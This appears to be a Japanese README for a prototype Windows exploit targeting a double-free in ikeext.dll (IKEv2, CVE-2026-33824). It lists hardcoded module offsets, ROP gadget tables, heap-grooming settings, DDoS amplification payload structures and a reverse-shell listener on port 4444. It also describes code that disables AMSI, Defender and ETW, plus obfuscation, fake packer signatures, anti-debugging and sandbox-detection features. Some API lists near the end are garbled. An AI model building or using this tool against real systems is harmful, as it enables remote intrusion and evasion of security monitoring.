
IKEv2, ikeext.dll, CVE-2026-33824, ダブルフリー, ヒープグルーミング, ROP, SKFフラグメンテーション, Windowsエクスプロイト, アンチデバッグ, 難読化, APIフック, シェルコード, リバースシェル
⚠️ 最終調整中のプロジェクト。現状では完全に機能しません。
EpSiLoNPoInTIkEv2.cpp は、Windows を標的とした C/C++ エクスプロイトのプロトタイプであり、ikeext.dll(Windows の IKEv2 ドライバ)における ダブルフリー タイプのエクスプロイトを中心に開発されています。研究過程で CVE-2026-33824 として参照されています。
このプロジェクトには以下が含まれます:
EpSi_OBF_ENDL / インスパイアされた obfusheader)このコードは、#define EpSi_OBF_ENDL によりコンパイル時に有効化される強力な難読化層を使用しています。 をベースに、適応および拡張されています。
FAKE_SIGNS == 1)既知のプロテクタースキャナーを欺くために、カスタム PE セクションがバイナリに注入されます:
.vmp0、.vmp1、.vmp2 → VMProtectUPX0 → UPX.enigma1、.enigma2 → Enigma Protector.winlice → Themida.petite、.aspack、.adata、.rlp、.vlizer、.arch、.alien、.pwdprot、
.dsstext、logicoma、__wibu00、__wibu01、PETETRIS、.tw、.rdata (Nuitka)、.text (Screen2Exe) など。0x45,0x6e,0x69,...) や Denuvo (0x64,0x65,0x6E,...) を模倣したエンコードされた文字列。FAKE_DONGLE[] 配列は、skeydrv.dll、HASPDOSDRV、MARXDEV1.SYS、WIBUKEY、SNTNLUSB、RNBOspro などのハードウェアドングルを模倣します。VIRT == 1)すべての算術演算および論理演算は、内部 VM (Obfh_VirtualMachine) にルーティングできます:
OP__ADD、OP__SUB、...、OP__NOP) は、__COUNTER__ と RND() を使用してコンパイル時にランダムに生成されます。_VM_ENCRYPT_INT(value) = (value - _VM_MUTATOR_KEY) * ~SALT_CMD。* -1)、ジャンク値とともに渡されます。goto、偽の負の case、BREAK_STACK_*(インライン ASM xor; jz; .byte 0xE8; cpuid)、偽の JMP(.byte 0xFF, 0x25)、およびデコンパイラを欺くための偽の x86_64 コードブロックで埋め尽くされています。VM_ADD、VM_SUB、VM_MUL、VM_DIV、VM_MOD、VM_EQU、VM_NEQ、
VM_LSS、VM_GTR、VM_LEQ、VM_GEQ、VM_OBF_INT、VM_ADD_DBL、VM_MUL_DBL など。NO_CFLOW != 1)#define if(cond):各 if は __s_rdtsc() 呼び出しとデッド BAD_CALL を注入します。#define else:実際の else の前にデッドな else if (0) { BAD_CALL; } を注入します。#define while(...):__s_rdtsc() != 0.1 と不条理なポインタチェックによって条件付けられます。#define for(...):OBFUS_CONDITION_BLOCK によって条件付けられます。#define switch(...):OBFUS_CONDITION_BLOCK によって条件付けられます。#define break:各 break の前に if (OBFUS_CONDITION_BLOCK) BREAK_STACK_1 を注入します。HIDE_STRING)STACK_STRING(str):複合リテラル経由で文字列をスタックにプッシュします。HIDE_STRING(str):obfh_process_hidden_string() + __s_rdtsc() をデッド BAD_JMP と組み合わせて、バイナリ内で文字列を隠蔽します。すべての CRT および Win32 関数はリダイレクトされます:
GetProcAddress(LoadLibraryA("msvcrt"), ...) 経由:printf、scanf、
sprintf、strlen、strcmp、strcpy、strtok、memset、memcpy、strchr、strrchr、
rand、realloc、calloc、fopen、fclose、fread、fwrite、exit、snprintf、
vsprintf、vsnprintf、getenv、system、abort、atexit、getcwd、tolower、toupper。obfh_int_proxy() ラッパー経由:CreateFile、
ReadFile、WriteFile、CloseHandle、VirtualAlloc、VirtualFree、CreateThread、
WaitForSingleObject、WaitForMultipleObjects、ExitProcess、GetModuleHandle、
GetModuleFileName、HeapCreate、HeapAlloc、、、、
、、、、、、、
、、、、。GetProcAddress は GetProcAddress_custom に置き換えられます:IMAGE_EXPORT_DIRECTORY の手動パース
(PE パース:e_lfanew、IMAGE_NT_HEADERS、IMAGE_DIRECTORY_ENTRY_EXPORT、AddressOfFunctions、
AddressOfNames、AddressOfNameOrdinals)。LoadLibraryA は、6つのネストされたラッパー(LoadLibraryA_0 から LoadLibraryA_proxy)のチェーンに難読化され、
揮発性変数 _k, _e, _r, _n, _e, _l と sprintf を使用して DLL 名を文字ごとに再構築します。ANTI_DEBUG_V2 == 1)ThreadCompareDRs):メインスレッドを SuspendThread、GetThreadContext を
CONTEXT_DEBUG_REGISTERS で呼び出し、Dr0–Dr3、Dr7 をチェック、ad_ZeroDRs でゼロクリア。IsDebuggerPresent_proxy:動的に kernel32.dll をロードし、揮発性変数 (_I, _s, _D, _e, _b, _u, _g, _g, _e, _r, _P, _r, _e, _s, _e, _n, _t) を使用して関数名 IsDebuggerPresent を
文字ごとに再構築し、GetProcAddress 経由で呼び出します。ANTI_DEBUG:二重チェック IsDebuggerPresent() || IsDebuggerPresent_proxy()、
loop() (無限ループ) をトリガー、.byte 0xED (特権 IN)、BREAK_STACK_1、ASM ret、
次に crash() (int $3 + .byte 0xED, 0x00)。機密関数に挿入されるインライン ASM シーケンスの9つのバリアント:
xor; jz; .byte 0xE8; cpuid (eax、ebx、edx のバリエーション)、偽のオペコード 0x50、0x20、
0x00、0xEB, 0xE1 (x86)、0xFF, 0x25, 0xF1, 0xF2, 0xF3, 0xF4 (x86_64)。
#include "runassys/ntnative.h"
#include "runassys/runassys.h"
#include "runassys/ntdll-stubs/ntdll-stubs.c"
#include "runassys/ntdll-stubs/ntdll.def.c"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "Version.lib")
IKEEXT_BASE_ADDRESS = 0x180000000g_IkeextDoubleFreeOffset = 0x12B960g_IkeextProcessIkePayload = 0x522200x1790A0)、Import (0x179110)、Exception (0x183000)、
Reloc (0x18C000)、LoadConfig (0x12AE70)、Debug (0x155CD0)。g_Offset_MMSA_SecurityRealmBlob = 0x208、
g_Offset_PacketContext_Blob = 0xC8。500 (UDP)、シェルコールバック:4444。IKE_HEADER、IKE_SA_PAYLOAD、IKE_PROPOSAL_PAYLOAD、IKE_TRANSFORM_PAYLOAD、
IKE_NONCE_PAYLOAD (32 バイト nonce)、IKE_KEY_EXCHANGE_PAYLOAD (DH 256 バイト)、
IKE_NOTIFY_PAYLOAD、IKE_VENDOR_ID_PAYLOAD、IKE_SKF_FRAGMENT_PAYLOAD。
設定されたトランスフォーム:AES-CBC-128 (12)、PRF HMAC-SHA2-256 (5)、
INTEG HMAC-SHA2-256-128 (12)、DH MODP-2048 (14)。
IKE_DDOS_AMPLIFIER_PAYLOAD:増幅係数 + 64 バイトトリガー。IKE_DDOS_LOOP_PAYLOAD:ループカウンタ + 32 バイト loop_code。IKE_DDOS_MEMORY_PAYLOAD:サイズ/カウント割り当て + 64 バイトヒープスプレーデータ。HEAP_GROOM_CONTEXT:ヒープハンドル、ターゲットアドレス、スレッド、stop_flag、allocated_chunks。HEAP_GROOM_THREAD_PARAMS:チャンクサイズ、反復回数、スレッド ID、SRWLOCK、use_nt_allocate。GROOM_CONFIG:スレッド数、反復回数、遅延、チャンクサイズ、最小/最大解放%。0x1000 のチャンク、1000 回の反復、断片化 30–70%。必要なすべてのガジェットを含む完全な ROP_CHAIN 構造体:
pop_rax/rcx/rdx/r8/r9/rsp、mov_rax_rsp、mov_rcx_rsp、mov_rcx_rax、mov_rax_rcx、
mov_rcx_rdx、xor_rax/rcx/rdx、jmp_rsp、call_rax、ret、virtual_protect、
disable_cfg、disable_cet、add_rsp、sub_rsp、stack_pivot。
512 ガジェットの配列 (rop_chain[MAX_ROP_CHAIN_SIZE])。
モジュール内のガジェットを特定するための ~50 以上のバイトシグネチャパターンを含む g_rop_patterns[] テーブル:
pop rax; ret、pop rcx; ret、pop rdx; ret、...、mov [rcx], rax; ret、
mov rax, [rcx]; ret、jmp rsp、VirtualProtect プロローグ、
mov [gs:0x60], rax; ret、jmp [rax+0x58]; ret、lea rax, [rip+0x0]; jmp rax、
add rsp, 0x28; ret、cmp rdx/r8/r9, 0x0; je/jne; ret など。
uint64_t g_KernelBase, g_IkeextBase, g_SystemEprocess;
uint64_t g_IkeextDoubleFreeOffset = 0x12B960;
uint64_t g_IkeextProcessIkePayload = 0x52220;
uint64_t g_PopRax, g_PopRcx, g_PopRdx, g_PopR8, g_PopR9, g_PopRsp;
uint64_t g_MovRaxRsp, g_JmpRsp, g_VirtualProtect, g_DisableCFG, g_StackPivot;
uint64_t g_NtoskrnlBase, g_Kernel32Base, g_NtdllBase, g_HeapBase, g_ShellcodeAddr;
SOCKET g_Socket; struct sockaddr_in g_Target;
EXPLOIT_CONTEXT g_ExploitCtx; ROP_CHAIN g_RopChain;
HEAP_GROOM_CONTEXT g_GroomContext;
MODULE_DATA g_Modules; ROP_GADGET g_Gadgets;
std::vector<SUSPICIOUS_REGION> g_Regions;
main)InitializeCriticalSection、init_debug_info。is_hostile_environment() → サンドボックス/VM が検出された場合は終了。disable_amsi()、disable_defender()、disable_etw()、patch_etw()。start_shell_listener() → ポート 4444 でリバースシェルリスナーを起動。argv[1] (ターゲット IP) + argv[2] (ポート、デフォルト 500) をパース。init_udp_socket() + inet_pton + test_target_reachability()。SKF_FRAGMENTS + 1 パケット) の構築と送信。プロジェクトは最終調整中であり、完全には機能しません。
disable_amsi、disable_defender、disable_etw、
patch_etw、is_hostile_environment、test_target_reachability、start_shell_listener、
stop_shell_listener、print_usage、init_debug_info) は宣言されていますが、ビルドの状態によっては不完全または存在しない可能性があります。runassys/ の依存関係、およびリンクされたライブラリの調整なしでは、プロジェクトはコンパイルできない可能性があります。このリポジトリには、低レベルネットワークエクスプロイトベクター (IKEv2/ikeext.dll、Windows) をターゲットとした攻撃的セキュリティ研究のプロトタイプが含まれています。
このコードの使用は、明示的な許可があるテスト、研究、またはラボ環境に厳密に制限されています。
著者は、このコードの違法、無許可、または有害な使用について一切の責任を負いません。コードは現状のまま提供され、動作、安定性、または副作用の不存在についての保証はありません。
プロジェクトはまだ最終調整中であり、現状では完全に機能しません。
HeapFreeGlobalAllocGlobalFreeGetTempPathSetEventResetEventSleepmemmoveGetParentGetWindowRectGetClientRectSetWindowPosSetConsoleTextAttributeGetDesktopWindowGetStockObject